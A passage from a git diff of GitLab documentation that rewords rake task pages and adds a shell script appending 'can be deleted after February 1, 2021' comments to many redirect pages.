Groups will be created as needed, these could be nested folders. + - Any `.git` repositories found on any of the subfolders are imported as projects. + - Groups are created as needed, these could be nested folders. For example, if we copy the repositories to `/var/opt/gitlab/git-data/repository-import-2020-08-22`, and repository `A` needs to be under the groups `G1` and `G2`, it must be created under those folders: diff --git a/doc/raketasks/maintenance.md b/doc/raketasks/maintenance.md index f554a09d94d..b6d530256a7 100644 --- a/doc/raketasks/maintenance.md +++ b/doc/raketasks/maintenance.md @@ -3,3 +3,6 @@ redirect_to: '../administration/raketasks/maintenance.md' --- This document was moved to [another location](../administration/raketasks/maintenance.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/raketasks/user_management.md b/doc/raketasks/user_management.md index a0a880eac51..9662eeee8da 100644 --- a/doc/raketasks/user_management.md +++ b/doc/raketasks/user_management.md @@ -58,9 +58,9 @@ sudo gitlab-rake gitlab:import:all_users_to_all_groups bundle exec rake gitlab:import:all_users_to_all_groups RAILS_ENV=production ``` -Admin users are added as owners so they can add additional users to the group. +Administrators are added as owners so they can add additional users to the group. -## Control the number of active users +## Control the number of billable users Enable this setting to keep new users blocked until they have been cleared by the administrator. Defaults to `false`: @@ -98,11 +98,11 @@ the leaked key without forcing all users to change their 2FA details. To rotate the two-factor authentication encryption key: 1. Look up the old key. This is in the `config/secrets.yml` file, but **make sure you're working - with the production section**. The line you're interested in will look like this: + with the production section**. The line you're interested in looks like this: ```yaml production: - otp_key_base: ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff + otp_key_base: fffffffffffffffffffffffffffffffffffffffffffffff ``` 1. Generate a new secret: @@ -130,7 +130,7 @@ To rotate the two-factor authentication encryption key: ``` The `<old key>` value can be read from `config/secrets.yml` (`<new key>` was - generated earlier). The **encrypted** values for the user 2FA secrets will be + generated earlier). The **encrypted** values for the user 2FA secrets are written to the specified `filename`. You can use this to rollback in case of error. diff --git a/doc/redirects.sh b/doc/redirects.sh new file mode 100644 index 00000000000..92c0297fe57 --- /dev/null +++ b/doc/redirects.sh @@ -0,0 +1,202 @@ +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> install/redis.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> install/google-protobuf.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> install/ldap.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> license/README.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> customization/welcome_message.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> customization/issue_closing.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> customization/help_message.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> customization/system_header_and_footer_messages.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> customization/branded_page_and_email_header.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> customization/issue_and_merge_request_template.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> customization/new_project_page.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> customization/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> customization/branded_login_page.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> customization/libravatar.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> customization/favicon.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/ux_guide/users.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/prometheus.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/documentation/feature-change-workflow.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/documentation/improvement-workflow.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/documentation/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/rolling_out_changes_using_feature_flags.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/event_tracking/backend.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/event_tracking/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/event_tracking/frontend.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/product_analytics/event_dictionary.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/product_analytics/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/testing.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/sidekiq_debugging.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/doc_styleguide.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/feature_flags.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/frontend.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/telemetry/event_dictionary.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/telemetry/snowplow.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/telemetry/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/telemetry/usage_ping.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/cycle_analytics.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/fe_guide/event_tracking.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/fe_guide/style_guide_js.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/fe_guide/testing.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/fe_guide/style_guide_scss.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/i18n_guide.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/new_fe_guide/development/testing.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/new_fe_guide/style/javascript.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/new_fe_guide/style/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/new_fe_guide/style/prettier.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> development/new_fe_guide/style/html.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> ci/environments.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> ci/autodeploy/quick_start_guide.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> ci/autodeploy/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> ci/pipelines.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> ci/multi_project_pipeline_graphs.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> ci/junit_test_reports.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> ci/permissions/README.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> ci/build_artifacts/README.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> ci/examples/code_climate.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> ci/examples/dependency_scanning.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> ci/examples/code_quality.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> ci/examples/license_management.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> ci/examples/sast.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> ci/examples/browser_performance.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> ci/examples/dast.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> ci/examples/container_scanning.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> ci/examples/sast_docker.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> ci/jenkins/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> ci/services/docker-services.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> markdown/markdown.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> integration/jira.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> integration/slack.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> integration/ldap.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> integration/chat_commands.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> integration/crowd.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/admin_area/user_cohorts.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/admin_area/monitoring/dev_ops_report.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/admin_area/analytics/convdev.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/group/security_dashboard/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/group/dependency_proxy/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/incident_management/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/application_security/compliance_dashboard/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/application_security/license_compliance/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/application_security/license_management/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/status_page/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/releases.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/container_registry.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/ci_cd_for_external_repo.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/clusters/eks_and_gitlab/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/pipelines/settings.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/pipelines/job_artifacts.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/pipelines/schedules.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/merge_requests/merge_request_discussion_resolution.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/merge_requests/dependency_scanning.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/merge_requests/license_management.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/merge_requests/sast.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/merge_requests/merge_when_build_succeeds.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/merge_requests/code_quality_diff.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/merge_requests/maintainer_access.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/merge_requests/dast.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/merge_requests/container_scanning.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/merge_requests/sast_docker.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/builds/artifacts.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/merge_requests.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/operations/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/operations/tracing.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/operations/feature_flags.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/operations/linking_to_an_external_dashboard.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/operations/error_tracking.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/operations/alert_management.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/operations/dashboard_settings.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/integrations/kubernetes.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/integrations/prometheus_units.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/integrations/project_services.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/integrations/generic_alerts.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/integrations/prometheus_library/metrics.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/maven_packages.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/packages/npm_registry.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/packages/maven.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/packages/maven_packages.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/packages/maven_repository.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/milestones/burndown_charts.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/gpg_signed_commits/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/cycle_analytics.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/import/tfs.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/issues/moving_issues.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/issues/closing_issues.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/issues/create_new_issue.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/issues/automatic_issue_closing.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/issues/similar_issues.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/issues/deleting_issues.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/pages/getting_started_part_four.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/pages/getting_started_part_three.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/pages/getting_started_part_two.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/pages/getting_started/new_or_existing_website.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/pages/getting_started/fork_sample_project.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/pages/getting_started/pages_bundled_template.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/slash_commands.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/project/security_dashboard.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/profile/account/index.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/account/two_factor_authentication.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/account/security.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> user/analytics/cycle_analytics.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> university/training/topics/explore_gitlab.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> university/high-availability/aws/README.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> permissions/permissions.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> operations/cleaning_up_redis_sessions.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> operations/sidekiq_memory_killer.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->' >> operations/incident_management/alert_details.md +echo '\n<!-- This redirect file can be deleted after February 1, 2021. -->\n<!-- Before deletion, see: 